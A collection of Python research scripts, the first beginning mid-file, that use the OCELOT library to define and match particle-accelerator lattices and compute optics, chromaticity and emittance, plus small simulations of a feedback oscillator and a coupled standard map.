3.69 uq0.k1 = 7.1 uq0e.k1 = 7.1 uq1.k1 = -0.0 b1m.k1 = -0.81 qd3.k1= -0.8 b0.k1 = -1.25 b1.k1 = 0 qf1.k1 = 2.6 qf0.k1 = 3.0 ud0.l = 3.21 ud1.l = 0.2 ud2.l = 0.5 ud2e.l = 0.5 uq0.l=0.2 uq0e.l=0.2 uq1.l=0.2 d1.l = 0.1 d3.l = 0.63 d2.l = 0.32 b0.angle = 0.0009*ang_scale b1.angle = 0.0014*ang_scale b2.angle = 0.0025*ang_scale - 0.0025/9. b1m.angle = 0.0014*ang_scale b2.l = 0.2 d3.l = 0.63 b1m.l = 0.15 # different beta matching b1.k1 = -0.8 b1m.k1 = -0.8 qd3.k1= -0.8 qd2.k1= -6.8 b0.k1 = -1.3 qf2a.k1 = 6.8 uq0.k1 = 6.7 uq0e.k1 = 6.7 A = 9 * b2.angle b2_taper = 1.6 * b2.angle t_cof = b2_taper / 9. a0 = (A - b2_taper * (9+1)/2.) / 9. b2_1 = SBend(l=b2.l, angle=a0 + 1*t_cof) b2_2 = SBend(l=b2.l, angle=a0 + 2*t_cof) b2_3 = SBend(l=b2.l, angle=a0 + 3*t_cof) b2_4 = SBend(l=b2.l, angle=a0 + 4*t_cof) b2_5 = SBend(l=b2.l, angle=a0 + 5*t_cof) b2_6 = SBend(l=b2.l, angle=a0 + 6*t_cof) b2_7 = SBend(l=b2.l, angle=a0 + 7*t_cof) b2_8 = SBend(l=b2.l, angle=a0 + 8*t_cof) b2_9 = SBend(l=b2.l, angle=a0 + 9*t_cof) A = 10 * b1m.angle b1_taper = 0.0 * b1m.angle t_cof = b1_taper / 10. a0 = (A - b1_taper * (10+1)/2.) / 10. b1m_1 = SBend(l=b1m.l, angle=a0 + 1*t_cof, k1=b1m.k1) b1m_2 = SBend(l=b1m.l, angle=a0 + 2*t_cof, k1=b1m.k1) b1m_3 = SBend(l=b1m.l, angle=a0 + 3*t_cof, k1=b1m.k1) b1m_4 = SBend(l=b1m.l, angle=a0 + 4*t_cof, k1=b1m.k1) b1m_5 = SBend(l=b1m.l, angle=a0 + 5*t_cof, k1=b1m.k1) b1m_6 = SBend(l=b1m.l, angle=a0 + 6*t_cof, k1=b1m.k1) b1m_7 = SBend(l=b1m.l, angle=a0 + 7*t_cof, k1=b1m.k1) b1m_8 = SBend(l=b1m.l, angle=a0 + 8*t_cof, k1=b1m.k1) b1m_9 = SBend(l=b1m.l, angle=a0 + 9*t_cof, k1=b1m.k1) b1m_10 = SBend(l=b1m.l, angle=a0 + 10*t_cof, k1=b1m.k1) #w/o taper be1 = (b1m,b1m,b1m,b1m,b1m,b1m,b1m,b1m,b1m,b1m) #with taper #be1 = (b1m_1,b1m_2,b1m_3,b1m_4,b1m_5,b1m_6,b1m_7,b1m_8,b1m_9,b1m_10) block1 = (qf0,d10,be0,d10,qf1) block0 = (qf0,d10,be0,d10,qf0) # with taper block3 =(qf1,d10,b1m_1,b1m_2,b1m_3,b1m_4,b1m_5,b1m_6,b1m_7,b1m_8,b1m_9,b1m_10,qd3, d2,qf2b,d4,sf1,d4,qf2a,d3,uq1, ud2, b2_1,b2_2,b2_3,b2_4,b2_5,b2_6,b2_7,b2_8,b2_9,d1,qd2, ud1,uq0, ud0) # with canting ud0_cant = Drift(l = 3.21-0.2) bcant = SBend(l = 0.2, angle=0.000*ang_scale) block3 =(qf1,d10,b1m_1,b1m_2,b1m_3,b1m_4,b1m_5,b1m_6,b1m_7,b1m_8,b1m_9,b1m_10,qd3, d2,qf2b,d4,sf1,d4,qf2a,d3,uq1, ud2, b2_1,b2_2,b2_3,b2_4,b2_5,b2_6,b2_7,b2_8,b2_9,d1,qd2, ud1,uq0, ud0_cant, bcant) block3e =(qf1,d10,b1m_1,b1m_2,b1m_3,b1m_4,b1m_5,b1m_6,b1m_7,b1m_8,b1m_9,b1m_10,qd3, d2,qf2b,d4,sf1,d4,qf2a,d3,uq1, ud2e, b2_1,b2_2,b2_3,b2_4,b2_5,b2_6,b2_7,b2_8,b2_9,d1,qd2e, ud1e,uq0e, ud0e) celarc =(block3[::-1],block1[::-1],block1,block3) lat = MagneticLattice(celarc) <file_sep># controlling non-linear oscillator from pylab import * from scipy.optimize import * from scipy import optimize l = 2.9 dt = 0.01 T = 100.0 alpha = 0.1 v = 0.07 x = 0.0 t = 0.0 xa = [] va = [] v0 = 0.0 def fb_gain(v): #return 20.0*(v0 - v) #if abs(v-v0)>0.001: return 0.05 * sign(v0-v) return 0.9*(v0 - v) vhist = 0 while t < T: t = t + dt x = x + dt*v v = v - dt*x - alpha * x**2 + dt*0.1*np.random.randn() + dt*fb_gain(vhist) xa.append(x) va.append(v) if t > dt*15: vhist = va[-11] ax = plt.figure().add_subplot(111) ax.plot(va,'.--') #ax.plot(xa,va,'.') plt.show() <file_sep>from pylab import * from scipy.optimize import * from scipy import optimize l = 2.9 dt = 0.01 v = 0.07 x = 0.0 t = 0.0 xa = [] va = [] v0 = 0.1 def fb_gain(v): #return 20.0*(v0 - v) if abs(v-v0)>0.001: return 0.05 * sign(v0-v) return 0.9*(v0 - v) vhist = 0 while t < 10.0: t = t + dt x = x + dt*v v = v + dt*fb_gain(vhist) + dt*0.01*np.random.randn() xa.append(x) va.append(v) if t > dt*15: vhist = va[-11] ax = plt.figure().add_subplot(111) ax.plot(va,'.--') plt.show() <file_sep>from pylab import * psi = np.linspace(0, 2*pi, 100) D = 0.01 e = 0.1 J1 = 4. * (D + 1/2. * e* cos(psi)) D = 0.06 e = 0.1 J2 = 4. * (D + 1/2. * e* cos(psi)) D = 0.2 e = 0.1 J3 = 4. * (D + 1/2. * e* cos(psi)) ax = plt.subplot(111, projection='polar') ax.plot(psi, J1, color='r', linewidth=3) ax.plot(psi, J2, color='g', linewidth=3) ax.plot(psi, J3, color='b', linewidth=3) #ax.set_rmax(0.3) ax.grid(True) ax.set_title("A line plot on a polar axis", va='bottom') #plt.figure() #plt.plot(psi, J) plt.show() <file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 6.0, eid = "D0") d1 = Drift (l = 0.5, eid = "D1") d2 = Drift (l = 0.5, eid = "D2") q1 = Quadrupole (l = 0.25, k1 = 1.1, eid = "Q1") q2 = Quadrupole (l = 0.25, k1 = -2.2, eid = "Q2") q3 = Quadrupole (l = 0.25, k1 = 1.1, eid = "Q3") tpl = (d0,q1, d1, q2, d2, q3, d0) beam = Beam() beam.E = 6.0 lat = MagneticLattice( (tpl,tpl,tpl,tpl) ) tw0 = Twiss(beam) ks = np.linspace(0.1,5,50) k_a = [] mux_a = [] muy_a = [] dqx_a = [] dqy_a = [] for k in ks: q2.k1 = -k lat.update_transfer_maps() tws=twiss(lat, Twiss(), nPoints = 1000) if tws is None: print('no solution') else: dqx, dqy = natural_chromaticity(lat, tws[0]) print(k, dqx, dqy, tws[-1].s, tws[-1].mux / (2.*pi), tws[-1].muy / (2.*pi)) k_a.append(k) mux_a.append(tws[-1].mux / (2.*pi) / tws[-1].s) muy_a.append(tws[-1].muy / (2.*pi) / tws[-1].s) dqx_a.append(dqx / tws[-1].s) dqy_a.append(dqy / tws[-1].s) plt.plot(k_a, mux_a, 'b-') plt.plot(k_a, muy_a, 'g-') plt.plot(k_a, dqx_a, 'b--') plt.plot(k_a, dqy_a, 'g--') plt.grid(True) plt.show() q2.k1 = -2.2 lat.update_transfer_maps() tws=twiss(lat, Twiss(beam), nPoints=1000) plot_opt_func(lat, tws, legend = False) plt.show() <file_sep>''' fodo ''' from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * qf = Quadrupole(l=0.2, k1 = 2) qd = Quadrupole(l=0.2, k1 = -2) d1 = Drift(l=1.) f_cell = (qf,d1,qd,d1,qf,d1,qd,d1 ) beam = Beam() beam.E = 5.0 beam.beta_x = 10 beam.beta_y = 5 beam.alpha_x = 3. beam.alpha_y = 3. # variable names for lattice designer __lattice__ = f_cell __beam__ = beam __tws__ = Twiss(beam) <file_sep>from pylab import * from scipy.optimize import * from scipy import optimize # todo: <file_sep># need to rememberr from ocelot.gui.accelerator import plot_lattice from ocelot.cpbd.elements import * from ocelot.cpbd.beam import * from ocelot.cpbd.optics import * from ocelot.cpbd.match import * from pylab import * from copy import deepcopy from scipy.optimize import * D0 = Drift (l = 0., id = "D0") D1 = Drift (l = 1.49, id = "D1") D2 = Drift (l = 0.1035, id = "D2") D3 = Drift (l = 0.307, id = "D3") D4 = Drift (l = 0.33, id = "D4") D5 = Drift (l = 0.3515, id = "D5") D6 = Drift (l = 0.3145, id = "D6") D7 = Drift (l = 0.289, id = "D7") D8 = Drift (l = 0.399, id = "D8") D9 = Drift (l = 3.009/2., id = "D9") SF = Sextupole(l = 0, ms = 1.7673786254063251, id = "SF") SD = Sextupole(l = 0, ms = -3.6169817233025707, id = "SD") Q1 = Quadrupole (l = 0.293, k1 = 2.62, id = "Q1") Q2 = Quadrupole (l = 0.293, k1 = -3.1, id = "Q2") Q3 = Quadrupole (l = 0.327, k1 = 2.8, id = "Q3") Q4 = Quadrupole (l = 0.291, k1 = -3.7, id = "Q4") Q5 = Quadrupole (l = 0.391, k1 = 4.0782, id = "Q5") Q6 = Quadrupole (l = 0.291, k1 = -3.534859, id = "D6") B1 = SBend(l = 0.23, angle = 0.23/19.626248, id = "B1") B2 = SBend(l = 1.227, angle = 1.227/4.906312, id = "B2") #und = Undulator (nperiods=200,lperiod=0.07,Kx = 0.49, id = "und") #und.field_map.units = "mm" #und.ax = 0.05 #M1 = Monitor(id = "m1") #H1 = Hcor(l = 0.0, angle = 0.00, id = "H1") #V2 = Vcor(l = 0.0, angle = 0.00, id = "V2") superperiod = ( D9,Q6,D8,Q5,D7,Q4,D6,B1,B2,D5,Q3,D5,B2,B1,D4,SD,D2,Q2,D3,Q1,D2,SF,D1,D1,SF, D2,Q1,D3, Q2,D2,SD,D4,B1,B2,D5,Q3,D5,B2,B1,D6,Q4,D7,Q5,D8,Q6,D9) m1 = Monitor(id="start") m2 = Monitor(id="end") dba = (m1,superperiod,m2) beam = Beam() beam.E = 14.0 beam.sigma_E = 0.002 beam.emit_xn = 0.4e-6 beam.emit_yn = 0.4e-6 beam.gamma_rel = beam.E / (0.511e-3) beam.emit_x = beam.emit_xn / beam.gamma_rel beam.emit_y = beam.emit_yn / beam.gamma_rel beam.beta_x = 4.03267210229 beam.beta_y = 0.573294833302 beam.alpha_x = 0. beam.alpha_y = 0. lat = MagneticLattice(dba) tw0 = Twiss(beam) tws=twiss(lat, Twiss(), nPoints = 1000) print tws[0].beta_x print tws[0].beta_y print tws[0].alpha_x print tws[0].alpha_y constr = {'end':{'Dx':0.0, 'Dxp':0.0}, 'D1':{'Dx':0.55, 'Dxp':0.}} #constr = {'end':{'Dx':0.0, 'Dxp':0.0}, 'start':{'beta_x':15.0, 'beta_y':30.0}} #constr = {'end':{'Dx':0.0, 'Dxp':0.0}} vars = [Q3] #vars = [q1,q2,q5,q6, [tw0, 'beta_x'], [tw0, 'beta_y'], [tw0, 'alpha_x'], [tw0, 'alpha_y']] #vars = [q1,q2,q3,q5,q6, [tw0, 'beta_'], [tw0, 'beta_y'], [tw0, 'alpha_x'], [tw0, 'alpha_y']] match(lat, constr, vars, tw0) #tws=twiss(lat, tw0, nPoints = 1000) tws=twiss(lat, Twiss(), nPoints = 1000) f=plt.figure() ax = f.add_subplot(211) ax.set_xlim(0, lat.totalLen) f.canvas.set_window_title('Betas [m]') p1, = plt.plot(map(lambda p: p.s, tws), map(lambda p: p.beta_x, tws), lw=2.0) p2, = plt.plot(map(lambda p: p.s, tws), map(lambda p: p.beta_y, tws), lw=2.0) plt.grid(True) ax.twinx() p3,=plt.plot(map(lambda p: p.s, tws), map(lambda p: p.Dx, tws), 'r',lw=2.0) plt.legend([p1,p2,p3], [r'$\beta_x$',r'$\beta_y$', r'$D_x$']) ax2 = f.add_subplot(212) plot_lattice(lat, ax2, alpha=0.5) # add beam size (arbitrary scale) s = np.array(map(lambda p: p.s, tws)) scale = 1000 sig_x = scale * np.array(map(lambda p: np.sqrt(p.beta_x*beam.emit_x + (p.Dx*beam.sigma_E)**2), tws)) # 0.03 is for plotting same scale sig_y = scale * np.array(map(lambda p: np.sqrt(p.beta_y*beam.emit_y), tws)) x = scale * np.array(map(lambda p: p.x, tws)) y = scale * np.array(map(lambda p: p.y, tws)) plt.plot(s, x + sig_x, color='#0000AA', lw=2.0) plt.plot(s, x-sig_x, color='#0000AA', lw=2.0) plt.plot(s, sig_y, color='#00AA00', lw=2.0) plt.plot(s, -sig_y, color='#00AA00', lw=2.0) #f=plt.figure() plt.plot(s, x, 'r--', lw=2.0) #plt.plot(s, y, 'r--', lw=2.0) plt.show() <file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * #ax1 = plt.figure().add_subplot(111) #p1,=ax1.plot([0.3,0.5, 0.7, 1.0, 1.5, 2.0],[-4.7, -3.2, -2.5, -1.7, -1.2, -0.9], 'd--') #p2,=ax1.plot([0.3,0.5, 0.7, 1.0, 1.5, 2.0],[-9.5, -6.8, -5.2, -3.7, -2.8, -2.2], 'd--') #ax1.set_xlabel(r'$\beta^{*}$, m') #ax1.legend([p1,p2],[r'$\xi_{X}$',r'$\xi_{Y}$']) #plt.show() #exit(0) from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 5.0, eid = "D0") d1 = Drift (l = 1.5, eid = "D1") d2 = Drift (l = 1.3, eid = "D2") d3 = Drift (l = 5.0, eid = "D3") q1 = Quadrupole (l = 0.25, k1 = 1.4, eid = "Q1") q2 = Quadrupole (l = 0.25, k1 = -2.15, eid = "Q2") q3 = Quadrupole (l = 0.25, k1 = 1.4, eid = "Q3") insh = (d0,q1, d1, q2, d2, q3, d3) ip = Marker() mend = Marker() ins = (insh[::-1], ip, insh, mend) beam = Beam() beam.E = 6.0 beam.beta_x = 6.6 beam.beta_y = 2.1 beam.alpha_x = 0.0 beam.alpha_y = 0.0 lat = MagneticLattice( ins ) tw0 = Twiss(beam) tws=twiss(lat, tw0, nPoints = 1000) #tws=twiss(lat, Twiss(), nPoints = 1000) dqx, dqy = natural_chromaticity(lat, tws[0]) print(dqx, dqy) plot_opt_func(lat, tws, legend = False) plt.show() constr = {} constr['global'] = {'beta_x':['<',100], 'beta_y':['<',35]} constr[ip] = {'beta_x':1.0, 'alpha_y':0.0, 'beta_y':6.0, 'alpha_y':0.0 } constr[mend] = {'beta_x':6.6, 'alpha_y':0.0, 'beta_y':2.1, 'alpha_y':0.0 } varz = [q1,q2,q3, d1, d2, d3] match(lat, constr, varz, tw0, max_iter=50000, method='simplex') print('values:') for v in varz: if v.__class__ in (Quadrupole, SBend): print(v.id, '=', v.k1) if v.__class__ in (Drift,): print(v.id, 'l=', v.l) lat.update_transfer_maps() tws=twiss(lat, tw0, nPoints = 1000) #tws=twiss(lat, Twiss(), nPoints = 1000) dqx, dqy = natural_chromaticity(lat, tws[0]) print(dqx, dqy) plot_opt_func(lat, tws, legend = False, top_plot=['mux', 'muy']) plt.show() __tws__ = tw0 __lattice_list__ = {'id': (ins, __tws__)} __lattice__, __tws__ = __lattice_list__['id'] __knobs__ = None <file_sep>''' focusing triplet, collider-like ''' from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * qrf1 = Quadrupole(l=0.2, k1 = 2) qrf2 = Quadrupole(l=0.2, k1 = -4) qrf3 = Quadrupole(l=0.2, k1 = 4.1) qrf1.k1 = 1.83880828901 qrf2.k1 = -4.24668111472 qrf3.k1 = 4.25273945407 qrf4 = Quadrupole(l=0.2, k1 = 3.9) qrf5 = Quadrupole(l=0.2, k1 = -5.0) qrf6 = Quadrupole(l=0.2, k1 = 2.5) drf1 = Drift(l=1) drf2 = Drift(l=0.5) drf3 = Drift(l=0.5) drf4 = Drift(l=7.9) drf5 = Drift(l=0.5) drf6 = Drift(l=0.5) drf7 = Drift(l=1) mrfs = Marker() mrfe = Marker() rf_cell = (mrfs, drf1, qrf1, drf2, qrf2, drf3, qrf3, drf4, qrf3, drf5, qrf2, drf6, qrf1, drf7, mrfe ) beam = Beam() beam.E = 5.0 beam.beta_x = 10 beam.beta_y = 5 beam.alpha_x = 3. beam.alpha_y = 3. # variable names for lattice designer __lattice__ = rf_cell __beam__ = beam __tws__ = Twiss(beam) <file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * angle_scale = 8. / 10.0 DL1A_1 = SBend(l=0.341678557602, angle=angle_scale*0.0060061926, e1=0.0079280963, e2=-0.0019219037) DL1A_2 = SBend(l=0.341678220925, angle=angle_scale*0.003525, e1=0.0019219037, e2=0.0016030963) DL1A_3 = SBend(l=0.341678145898, angle=angle_scale*0.002675, e1=-0.0016030963, e2=0.0042780963) DL1A_4 = SBend(l=0.341678106809, angle=angle_scale*0.0021, e1=-0.0042780963, e2=0.0063780963) DL1A_5 = SBend(l=0.341678078229, angle=angle_scale*0.00155, e1=-0.0063780963, e2=0.0079280963) DL1E_1 = SBend(l=0.341678078229, angle=angle_scale*0.00155, e1=0.0079280963, e2=-0.0063780963) DL1E_2 = SBend(l=0.341678106809, angle=angle_scale*0.0021, e1=0.0063780963, e2=-0.0042780963) DL1E_3 = SBend(l=0.341678145898, angle=angle_scale*0.002675, e1=0.0042780963, e2=-0.0016030963) DL1E_4 = SBend(l=0.341678220925, angle=angle_scale*0.003525, e1=0.0016030963, e2=0.0019219037) DL1E_5 = SBend(l=0.341678557602, angle=angle_scale*0.0060061926, e1=-0.0019219037, e2=0.0079280963) DL2B_1 = SBend(l=0.341678078229, angle=angle_scale*0.00155, e1=0.0073530963, e2=-0.0058030963) DL2B_2 = SBend(l=0.341678106809, angle=angle_scale*0.0021, e1=0.0058030963, e2=-0.0037030963) DL2B_3 = SBend(l=0.341678145898, angle=angle_scale*0.002675, e1=0.0037030963, e2=-0.0010280963) DL2B_4 = SBend(l=0.341678220925, angle=angle_scale*0.003525, e1=0.0010280963, e2=0.0024969037) DL2B_5 = SBend(l=0.341678379762, angle=angle_scale*0.0048561926, e1=-0.0024969037, e2=0.0073530963) DL2D_1 = SBend(l=0.341678379762, angle=angle_scale*0.0048561926, e1=0.0073530963, e2=-0.0024969037) DL2D_2 = SBend(l=0.341678220925, angle=angle_scale*0.003525, e1=0.0024969037, e2=0.0010280963) DL2D_3 = SBend(l=0.341678145898, angle=angle_scale*0.002675, e1=-0.0010280963, e2=0.0037030963) DL2D_4 = SBend(l=0.341678106809, angle=angle_scale*0.0021, e1=-0.0037030963, e2=0.0058030963) DL2D_5 = SBend(l=0.341678078229, angle=angle_scale*0.00155, e1=-0.0058030963, e2=0.0073530963) DQ1 = SBend(l=0.982263725187, angle=angle_scale*0.0146, e1=0.0073, e2=0.0073, k1=-2.052562317341171) DQ2C_1 = SBend(l=0.382191187119, angle=angle_scale*0.003925, e1=0.003925, e2=0, k1=-1.628958018566645) DQ2C_2 = SBend(l=0.382191187119, angle=angle_scale*0.003925, e1=0, e2=0.003925, k1=-1.628958018566645) QD2= Quadrupole(l=0.202560809098, k1=-3.124609254255043,eid="QD2") QD3= Quadrupole(l=0.154787033367, k1=-2.919522005616164,eid="QD3") QD5= Quadrupole(l=0.202560809098, k1=-3.156575579596227) QF1= Quadrupole(l=0.281865276811, k1=2.906044501026788,eid="QF1") QF4A= Quadrupole(l=0.202560809098, k1=2.851945777628234,eid="QF4A") QF4B= Quadrupole(l=0.202560809098, k1=2.851945777628234) QF6= Quadrupole(l=0.37072449967, k1=4.949932443265761) QF8= Quadrupole(l=0.462450149073, k1=4.920906782172479) SD1A= Sextupole(l=0.158608935426, k2=-364.7764060877482) SD1B= Sextupole(l=0.158608935426, k2=-343.3640310505012) SD1D= Sextupole(l=0.158608935426, k2=-343.3640310505012) SD1E= Sextupole(l=0.158608935426, k2=-364.7764060877482) SF2AH= Sextupole(l=0.0955475514614, k2=358.2800409127136) SF2EH= Sextupole(l=0.0955475514614, k2=358.2800409127136) SH1A= Sextupole(l=0.0955475514614, k2=0) SH2B= Sextupole(l=0.0955475514614, k2=0) SH3E= Sextupole(l=0.0955475514614, k2=0) OF1B = Octupole(l=0.08599279631530001, k3=-51832.89885488881) OF1D= Octupole(l=0.08599279631530001, k3=-51832.89885488881) DR_01= Drift(l=2.53334777945) DR_02= Drift(l=0.0487292512453) DR_03= Drift(l=0.105102306608) DR_04= Drift(l=0.219759368361) DR_05= Drift(l=0.0449073491869) DR_06= Drift(l=0.0449073491869) DR_07= Drift(l=0.0716606635961) DR_08= Drift(l=0.520594115814) DR_09= Drift(l=0.0535066288184) DR_10= Drift(l=0.0716606635961) DR_11= Drift(l=0.0716606635961) DR_12= Drift(l=0.0573285320234) DR_13= Drift(l=0.0535066288184) DR_14= Drift(l=0.377272785468) DR_15= Drift(l=0.0716606635961) DR_16= Drift(l=0.0449073491869) DR_17= Drift(l=0.0898146983737) DR_18= Drift(l=0.0535066288184) DR_19= Drift(l=0.08599279631530001) DR_20= Drift(l=0.08599279631530001) DR_21= Drift(l=0.158608935426) DR_22= Drift(l=0.0353525940407) DR_23= Drift(l=0.0535066288184) DR_24= Drift(l=0.0535066288184) DR_25= Drift(l=0.289509080928) DR_26= Drift(l=0.08599279631530001) DR_27= Drift(l=0.08599279631530001) DR_28= Drift(l=0.0535066288184) DR_29= Drift(l=0.0898146983737) DR_30= Drift(l=0.0449073491869) DR_31= Drift(l=0.0716606635961) DR_32= Drift(l=0.377272785468) DR_33= Drift(l=0.0535066288184) DR_34= Drift(l=0.0573285308768) DR_35= Drift(l=0.0716606635961) DR_36= Drift(l=0.0716606635961) DR_37= Drift(l=0.0535066288184) DR_38= Drift(l=0.520594115814) DR_39= Drift(l=0.0716606635961) DR_40= Drift(l=0.0449073491869) DR_41= Drift(l=0.0449073491869) DR_42= Drift(l=0.219759368361) DR_43= Drift(l=0.105102306608) DR_44= Drift(l=0.0487292512453) DR_45= Drift(l=2.53334777945) BPM_01 = Monitor() BPM_02 = Monitor() BPM_03 = Monitor() BPM_04 = Monitor() BPM_05 = Monitor() BPM_06 = Monitor() BPM_07 = Monitor() BPM_08 = Monitor() BPM_09 = Monitor() BPM_10 = Monitor() CELLCENTER = Marker() DISPBUMPCENTER = Marker() IDMARKER = Marker() SF2AMARKER = Marker() SF2EMARKER = Marker() DR_00 = Drift(l=0.2) fp1 = Marker(eid="fp1") cellB = (QF1,DR_03,SH1A,DR_04, QD2,DR_05,DL1A_1,DL1A_2,DL1A_3,DL1A_4,DL1A_5,DR_06,QD3,DR_07, fp1, SD1A,DR_08,BPM_02, DR_09,QF4A,DR_10,DISPBUMPCENTER,SF2AH,SF2AMARKER,SF2AH,DR_11,QF4B,DR_12,OF1B,DR_13, BPM_03,DR_14,SD1B,DR_15,QD5,DR_16,DL2B_1,DL2B_2,DL2B_3,DL2B_4,DL2B_5,DR_17,BPM_04, DR_18,QF6,DR_19,DQ1,DR_20,QF8,DR_21,SH2B,DR_22,BPM_05,DR_23,DQ2C_1,CELLCENTER, DQ2C_2,DR_24,BPM_06,DR_25,QF8,DR_26,DQ1,DR_27,QF6,DR_28,BPM_07,DR_29,DL2D_1,DL2D_2,DL2D_3,DL2D_4,DL2D_5,DR_30,QD5,DR_31,SD1D,DR_32,BPM_08,DR_33,OF1D,DR_34, QF4A,DR_35,DISPBUMPCENTER,SF2EH,SF2EMARKER,SF2EH,DR_36,QF4A,DR_37,BPM_09,DR_38, SD1E,DR_39,QD3,DR_40,DL1E_1,DL1E_2,DL1E_3,DL1E_4,DL1E_5,DR_41,QD2,DR_42,SH3E, DR_43,QF1) QF1.k1= 2.5677519051 QD2.k1= -2.45314639466 QD3.k1= -2.93015115499 QF4A.k1= 2.85077124469 beam = Beam() beam.E = 6.0 lat = MagneticLattice( cellB ) tws=twiss(lat, Twiss(), nPoints=1000) constr = {fp1:{'beta_x':3.03, 'beta_y':15.65,'alpha_x':-3.04,'alpha_y':7.10}, 'periodic': True} vars = [QF1, QD2,QD3,QF4A] #match(lat, constr, vars, Twiss(beam), max_iter=10000) for v in vars: print "{}.k1= {}".format(v.id, v.k1) tws=twiss(lat, Twiss(), nPoints=1000) dqx, dqy = natural_chromaticity(lat, tws[0]) dqxc, dqyc = chromaticity(lat, tws[0]) print 'chrom natural:',dqx, dqy print 'chrom:',dqxc, dqyc eb = EbeamParams(lat, beam, nsuperperiod=1) print("emittance : {} pm".format(eb.emittance * 1.e12)) print(tws[-1]) ang = 0.0 for e in lat.sequence: if e.__class__ in (SBend, Bend): ang += e.angle print 'angle:', ang*180. / pi plot_opt_func(lat, tws, legend = False) plt.show() <file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * from scipy.integrate import simps from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 2.0, eid = "D0") d1 = Drift (l = 0.5, eid = "D1") d2 = Drift (l = 0.5, eid = "D2") q1 = Quadrupole (l = 0.25, k1 = 2.7, eid = "Q1") q2 = Quadrupole (l = 0.25, k1 = -4.2, eid = "Q2") q3 = Quadrupole (l = 0.25, k1 = 2.6, eid = "Q3") b1=SBend(l=0.005, angle=0.001) b2=SBend(l=0.005, angle=-0.001) d0=(b1,b2,b2,b1)*100 tpl = (d0,q1, d1, q2, d2, q3, d0) beam = Beam() beam.E = 6.0 lat = MagneticLattice( (tpl,tpl) ) tw0 = Twiss(beam) lat.update_transfer_maps() tws=twiss(lat, Twiss(beam), nPoints=10000) plot_opt_func(lat, tws, legend = False) H = np.array([(1. + t.alpha_x**2)/ t.beta_x * t.Dx**2 + t.beta_x*t.Dxp**2 + 2*t.alpha_x*t.Dx*t.Dxp for t in tws]) plt.figure() plt.plot([t.s for t in tws], H) print(simps(H,[t.s for t in tws])) plt.show() <file_sep>''' frequency analysis: standad map ''' from pylab import * ''' test mapping ''' from numpy import sin def sm2d(x10, y10, x20, y20, nt, a1 = 2.6, a2=2.6, b=0.1): x1 = x10 x2 = x20 y1 = y10 y2 = y20 x1s = [x10,] y1s = [y10,] x2s = [x20,] y2s = [y20,] for i in range(nt): x1p = mod(x1 + a1*sin(x1+y1) + b* sin(0.5*(x1+y1+x2+y2)), 2*pi) y1p = mod(x1 + y1, 2*pi) x2p = mod(x2 + a2*sin(x2+y2) + b* sin(0.5*(x1+y1+x2+y2)), 2*pi) y2p = mod(x2 + y2, 2*pi) x1 = x1p x2 = x2p y1 = y1p y2 = y2p x1s.append(x1) y1s.append(y1) x2s.append(x2) y2s.append(y2) return np.array(x1s),np.array(y1s),np.array(x2s),np.array(y2s) def frequencies(x1,y1,x2,y2): spy1 = np.fft.fft(y1 - np.mean(y1)) spy1 = np.abs(spy1) spy2 = np.fft.fft(y2 - np.mean(y2)) spy2 = np.abs(spy2) freq = np.fft.fftfreq(len(spy1), d=1) n = int(len(freq)/2) q1 = freq[0:n][argmax(spy1[0:n])] q2 = freq[0:n][argmax(spy2[0:n])] return q1, q2 def plot_phase_space(): for b in np.linspace(0.0, 0.01, 5): fig, ax = plt.subplots() q1s = [] q2s = [] for y0 in np.linspace(0, 2*pi, 200): x1, y1, x2, y2 = sm2d(0.0,-sqrt(0.4), 0.0, y0, nt=2000, a1=1.3, a2=1.3, b=b) ax.plot(y2, mod(x2+pi, 2*pi),'.', color='black',alpha = 0.1) q1, q2 = frequencies(x1, y1, x2, y2) q1s.append(q1) q2s.append(q2) ax2 = ax.twinx() #fig2, ax2 = plt.subplots() ax2.plot(np.linspace(0, 2*pi, 200), q1s,'.--', color='blue') ax2.plot(np.linspace(0, 2*pi, 200), q2s,'.--', color='red') plt.show() def freq_diagram(): b = 0.01 fig, ax = plt.subplots() fig2, ax2 = plt.subplots() y10s = np.linspace(0.1, 0.1, 1) y20s = np.linspace(0.09, 0.09, 1) q1s = [] q2s = [] for i in range(len(y10s)): for j in range(len(y20s)): x10, y10, x20, y20 = 0.0, y10s[i], 0.0, y20s[j] for nt in range(0,200): x1, y1, x2, y2 = sm2d(x10,y10, x20, y20, nt=1000, a1=1.3, a2=1.3, b=b) x10, y10, x20, y20 = x1[-1], y1[-1], x2[-1], y2[-1] q1, q2 = frequencies(x1, y1, x2, y2) ax.plot(y1, y2,'.', color='black',alpha = 0.1) q1s.append(q1) q2s.append(q2) ax2.plot(q1s[0], q2s[0],'rd') ax2.plot(q1s, q2s,'.', color='blue', alpha=0.4) plt.show() if __name__ == "__main__": #plot_phase_space() freq_diagram() <file_sep># fodo lattice from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * from pylab import * from copy import deepcopy from scipy.optimize import * d1 = Drift (l = 0.2) d2 = Drift (l = 0.2) d3 = Drift (l = 0.2) d4 = Drift (l = 0.2) d5 = Drift (l = 0.1) d6 = Drift (l = 0.1) d7 = Drift (l = 0.4) sf = Sextupole(l = 0.001, k2 = 5, id="sf") sd = Sextupole(l = 0.001, k2 = -5, id="sd") Q1 = Quadrupole (l = 0.293, k1 = 2.2) Q2 = Quadrupole (l = 0.293, k1 = -2.2) B1 = SBend(l = 2.0, angle = 0.04) B2 = SBend(l = 1.227, angle = 0.04) #fodo = (Q1, sf, D4, B1, D4, Q2, sd, D4, B1, D4) fodo = (Q1, d1, sf, d2, B1, d3, d4, Q2, d5, sd, d6, B1, d7) + (Q1, d1, sf, d2, B1, d3, d4, Q2, d5, sd, d6, B1, d7) m1 = Marker() m2 = Marker() cell = (m1,fodo*10,m2) beam = Beam() beam.E = 5.0 beam.beta_x = 0 beam.beta_y = 0 beam.alpha_x = 0 beam.alpha_y = 0 lat = MagneticLattice(cell) tw0 = Twiss(beam) 